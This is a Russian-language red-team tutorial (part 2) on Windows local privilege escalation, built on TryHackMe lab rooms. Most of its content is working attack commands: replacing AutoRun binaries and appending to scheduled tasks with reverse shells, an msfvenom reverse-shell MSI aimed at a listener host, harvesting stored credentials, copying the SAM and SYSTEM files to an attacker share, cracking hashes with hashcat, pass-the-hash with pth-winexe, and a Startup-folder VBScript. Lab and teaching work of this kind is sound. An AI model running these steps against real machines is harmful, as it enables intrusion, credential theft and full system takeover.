Local Privilege Escalation
February 21

Повышение локальных привилегий Windows - 2 часть

Введение

В прошлой статье мы с вами рассмотрели:

  • Все о разрешительной системе в ОС Windows.
  • Инструменты для повышения привилегий.
  • Эксплойты ядра и используемые инструменты.
  • Сервисные эксплойты.

Приступим к дальнейшему рассмотрению других вариантов повышения привилегий в операционной системе WIndows.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Реестр

Автозапуск

Windows можно настроить на запуск команд при запуске с повышенными привилегиями. Эти «автозапуски» настраиваются в реестре. Если вы можете записать исполняемый файл AutoRun и перезапустить систему (или дождаться ее перезапуска), возможно, вы сможете повысить привилегии.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Используйте winPEAS для проверки доступных для записи исполняемых файлов автозапуска:
> .\winPEASany.exe quiet applicationsinfo
  • Альтернативно мы могли бы вручную перечислить исполняемые файлы автозапуска:
> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • и затем используйте accesschk.exe, чтобы проверить разрешения для каждого из них:
> .\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
  • Исполняемый файл автозапуска «C:\Program Files\Autorun Program\program.exe» доступен для записи всем. Создайте резервную копию оригинала:
> copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
  • Скопируйте наш исполняемый файл обратной оболочки, чтобы перезаписать исполняемый файл AutoRun:
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"
  • Запустите прослушиватель на Kali, а затем перезапустите машину-жертву, чтобы активировать эксплойт. Обратите внимание, что в Windows 10 эксплойт запускается с привилегиями последнего вошедшего в систему пользователя, поэтому войдите в систему под учетной записью «администратора».

AlwaysInstallElevated  (Всегда устанавливать с повышенными правами)

Файлы MSI — это файлы пакетов, используемые для установки приложений. Эти файлы запускаются с разрешения пользователя, пытающегося их установить.

Windows позволяет запускать эти установщики с повышенными правами (т. е. администратора). В этом случае мы можем создать вредоносный MSI-файл, который содержит обратную оболочку.

Загвоздка в том, что для того, чтобы это работало, необходимо включить два параметра реестра. Значение AlwaysInstallElevated должно быть установлено равным 1 как для локального компьютера:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

, так и текущего пользователя:

HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

Если какой-либо из параметров отсутствует или отключен, эксплойт не сработает.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Используйте winPEAS, чтобы проверить, установлены ли оба значения реестра:
> .\winPEASany.exe quiet windowscreds
  • Альтернативно проверьте значения вручную:
> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • Создайте новую обратную оболочку с помощью msfvenom, на этот раз в формате msi, и сохраните ее с расширением .msi:
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi
  • Скопируйте файлverse.msi на машину-жертву, запустите прослушиватель на Kali и запустите установщик, чтобы активировать эксплойт:
> msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Пароли

Даже администраторы повторно используют свои пароли или оставляют свои пароли в системах в читаемых местах. Windows может быть особенно уязвима для этого, поскольку некоторые функции Windows хранят пароли небезопасно.

Пароли в реестре

Многие программы хранят параметры конфигурации в реестре Windows. Сама Windows иногда хранит пароли в открытом виде в реестре. Всегда стоит поискать пароли в реестре.

Следующие команды будут искать в реестре ключи и значения, содержащие «password»:

> reg query HKLM /f password /t REG_SZ /s
> reg query HKCU /f password /t REG_SZ /s

Обычно такие запросы дают много результатов, поэтому зачастую более плодотворно искать в известных местах.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Используйте winPEAS для проверки общих местоположений паролей:
> .\winPEASany.exe quiet filesinfo userinfo
  • Результаты показывают как учетные данные AutoLogon, так и учетные данные сеанса Putty для пользователя-администратора (admin/password123).
  • Мы можем проверить это вручную:
> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
> reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
  • В Kali мы можем использовать команду winexe для запуска оболочки, используя следующие реквизиты для входа:
# winexe -U 'admin%password123' //192.168.1.22 cmd.exe

Сохраненные креды

В Windows есть команда runas, которая позволяет пользователям запускать команды с привилегиями других пользователей. Обычно для этого требуется знание пароля другого пользователя. Однако Windows также позволяет пользователям сохранять свои учетные данные в систему, и эти сохраненные учетные данные можно использовать для обхода этого требования.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Используйте winPEAS для проверки сохраненных учетных данных:
> .\winPEASany.exe quiet cmd windowscreds
  • Похоже, что сохраненные учетные данные для пользователя-администратора существуют.
  • Мы можем проверить это вручную, используя следующую команду:
> cmdkey /list
  • Если сохраненные учетные данные отсутствуют, запустите следующий сценарий, чтобы обновите учетные данные:
> C:\PrivEsc\savecred.bat
  • Мы можем использовать сохраненные учетные данные для запуска любой команды от имени администратора. Запустите прослушиватель в Kali и запустите исполняемый файл обратной оболочки:
> runas /savecred /user:admin C:\PrivEsc\reverse.exe

Файлы конфигурации

Некоторые администраторы оставляют в системе файлы конфигурации с паролями.

Это позволяет в значительной степени автоматизировать настройку систем Windows. Файл Unattend.xml является примером этого.

Поиск файлов конфигурации

Рекурсивный поиск файлов в текущем каталоге с «pass» в имени или заканчивающиеся на «.config»:

> dir /s *pass* == *.config

Рекурсивный поиск файлов в текущем каталоге, содержащих слово «password» и заканчивающихся на .xml, .ini, .txt:

> findstr /si password *.xml *.ini *.txt

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windowsprivescarena
  • Используйте winPEAS для поиска общих файлов, которые могут содержать учетные данные:
> .\winPEASany.exe quiet cmd searchfast filesinfo
  • Файл Unattend.xml найден. Посмотреть содержимое:
> type C:\Windows\Panther\Unattend.xml
  • Был найден пароль для администратора. Пароль имеет кодировку Base64:
cGFzc3dvcmQxMjM=
  • В Kali мы можем легко расшифровать это:
# echo "cGFzc3dvcmQxMjM=" | base64 -d
  • Еще раз мы можем просто использовать winexe для создания оболочки как пользователь-администратор.

SAM

Windows хранит хеши паролей в диспетчере учетных записей безопасности (Security Account Manager - SAM). Хэши зашифрованы ключом, который можно найти в файле с именем SYSTEM. Если у вас есть возможность читать файлы SAM и SYSTEM, вы может извлечь хеши.

Расположение SAM/SYSTEM

Файлы SAM и SYSTEM расположены в каталоге C:\Windows\System32\config.

Файлы блокируются во время работы Windows.

Резервные копии файлов могут существовать в каталогах C:\Windows\Repair или C:\Windows\System32\config\RegBack.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Резервные копии файлов SAM и SYSTEM можно найти в C:\Windows\Repair и они доступны для чтения пользователю.
  • Скопируйте файлы на Kali:
> copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
> copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\
  • Загрузите последнюю версию пакета creddump:
# git clone https://github.com/Neohapsis/creddump7.git
  • Запустите инструмент pwdump для файлов SAM и SYSTEM, чтобы извлечь хэши:
# python2 creddump7/pwdump.py SYSTEM SAM
  • Взломайте хеш пользователя-администратора с помощью hashcat:
# hashcat -m 1000 –force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt

Pass the Hash (Передача хеша)

Windows принимает хеши вместо паролей для аутентификации в ряде служб. Мы можем использовать модифицированную версию winexe, pth-winexe, для вызова командной строки с использованием хеша пользователя-администратора.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Извлеките хеш администратора из SAM на предыдущем шаге.
  • Используйте хеш с pth-winexe для вызова командной строки:
# pth-winexe –U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
  • Используйте хеш с pth-winexe для вызова командной строки уровня SYSTEM:
# pth-winexe --system –U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe

Запланированные задачи

Windows можно настроить на запуск задач в определенное время, периодически (например, каждые 5 минут) или при срабатывании какого-либо события (например, входа пользователя в систему). Задачи обычно выполняются с правами создавшего их пользователя, однако администраторы могут настроить задачи для запуска от имени других пользователей, включая SYSTEM.

Команды

К сожалению, не существует простого метода перечисления пользовательских задач, принадлежащих другим пользователям, в качестве учетной записи пользователя с низкими привилегиями.

Перечислите все запланированные задачи, которые может видеть ваш пользователь:

> schtasks /query /fo LIST /v

В PowerShell:

PS> Get-ScheduledTask | where {$_.TaskPath –notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Часто нам приходится полагаться на другие подсказки, например, на поиск сценария или файла журнала, указывающего на выполнение запланированной задачи.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • В каталоге C:\DevTools находится сценарий PowerShell под названием «CleanUp.ps1». Посмотреть сценарий:
> type C:\DevTools\CleanUp.ps1
  • Кажется, что этот сценарий запускается каждую минуту от имени пользователя SYSTEM. Мы можем проверить наши права доступа к этому сценарию с помощью accesschk.exe:
> C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
  • Похоже, у нас есть возможность писать в этот файл.
  • Сделайте резервную копию скрипта:
> copy C:\DevTools\CleanUp.ps1 C:\Temp\
  • Используйте echo, чтобы добавить вызов нашего исполняемого файла обратной оболочки в конец скрипта:
> echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
  • Подождите, пока запустится запланированное задание (оно должно запускаться каждую минуту), чтобы завершить эксплойт.

Небезопасный графический интерфейс приложения

В некоторых (более старых) версиях Windows пользователям может быть предоставлено разрешение на запуск определенных приложений с графическим интерфейсом с правами администратора. Зачастую существует множество способов вызвать командные строки из приложений с графическим интерфейсом, в том числе с использованием встроенных функций Windows. Поскольку родительский процесс запускается с правами администратора, созданная командная строка также будет запускаться с этими привилегиями.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Войдите в виртуальную машину Windows с помощью графического интерфейса под учетной записью «пользователь».
  • Дважды щелкните ярлык «AdminPaint» на рабочем столе.
  • Откройте командную строку и выполните:
> tasklist /V | findstr mspaint.exe
  • Обратите внимание, что mspaint.exe запускается с правами администратора.
  • В Paint нажмите «Файл», затем «Открыть».
  • В навигационном вводе замените содержимое на:
c:/windows/system32/cmd.exe
  • Нажмите Enter. Командная строка должна открыться с правами администратора.

Запуск приложений

Каждый пользователь может определить приложения, которые запускаются при входе в систему, разместив для них ярлыки в определенном каталоге. В Windows также есть каталог запуска для приложений, которые должны запускаться у всех пользователей: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.

Если мы сможем создавать файлы в этом каталоге, мы сможем использовать наш исполняемый файл обратной оболочки и повышать привилегии при входе администратора.

Обратите внимание, что необходимо использовать файлы ярлыков (.lnk). Можно использовать следующий VBScript, чтобы создать файл ярлыка:

Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Используйте accesschk.exe, чтобы проверить разрешения для каталога автозагрузки:
> .\accesschk.exe /accepteula –d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
  • Обратите внимание, что группа BUILTIN\Users имеет доступ на запись в этот каталог.
  • Создайте файл CreateShortcut.vbs с помощью VBScript, представленного ранее. Измените пути к файлам, если необходимо.
  • Запустите скрипт с помощью cscript:
> cscript CreateShortcut.vbs
  • Запустите прослушиватель в Kali, затем войдите в систему как администратор, чтобы запустить эксплойт.

Установленные приложения

Большинство повышений привилегий, связанных с установленными приложениями, основаны на ошибках конфигурации, которые мы уже рассмотрели. Тем не менее, некоторое повышение привилегий происходит в результате таких вещей, как переполнения буфера, поэтому знание того, как идентифицировать установленные приложения и известные уязвимости, по-прежнему важно.

Команды

Вручную перечислить все запущенные программы:

> tasklist /v

Мы также можем использовать Seatbelt для поиска нестандартных процессов:

> .\seatbelt.exe NonstandardProcesses

winPEAS также имеет такую ​​возможность:

> .\winPEASany.exe quiet processinfo

Exploit-DB

Как только вы обнаружите интересный процесс, попробуйте определить его версию. Вы можете попробовать запустить исполняемый файл с помощью /? или -h, а также проверить конфигурационные или текстовые файлы в каталоге Program Files.

Используйте Exploit-DB для поиска соответствующего эксплойта.

Некоторые эксплойты содержат инструкции, а другие представляют собой код, который вам нужно будет скомпилировать и запустить.

Заключение

Во второй части данной статьи мы рассмотрели следующие векторы повышения привилегий:

  • Через Реестр.
  • Хранимые пароли в операционной системе.
  • Запланированные задачи.
  • Небезопасный графический интерфейс приложения.
  • Автозапуск приложений.
  • Уязвимые приложения и компоненты операционной системы.

В следующих статьях мы продолжим углубляться в другие векторы повышения привилегий в ОС Windows.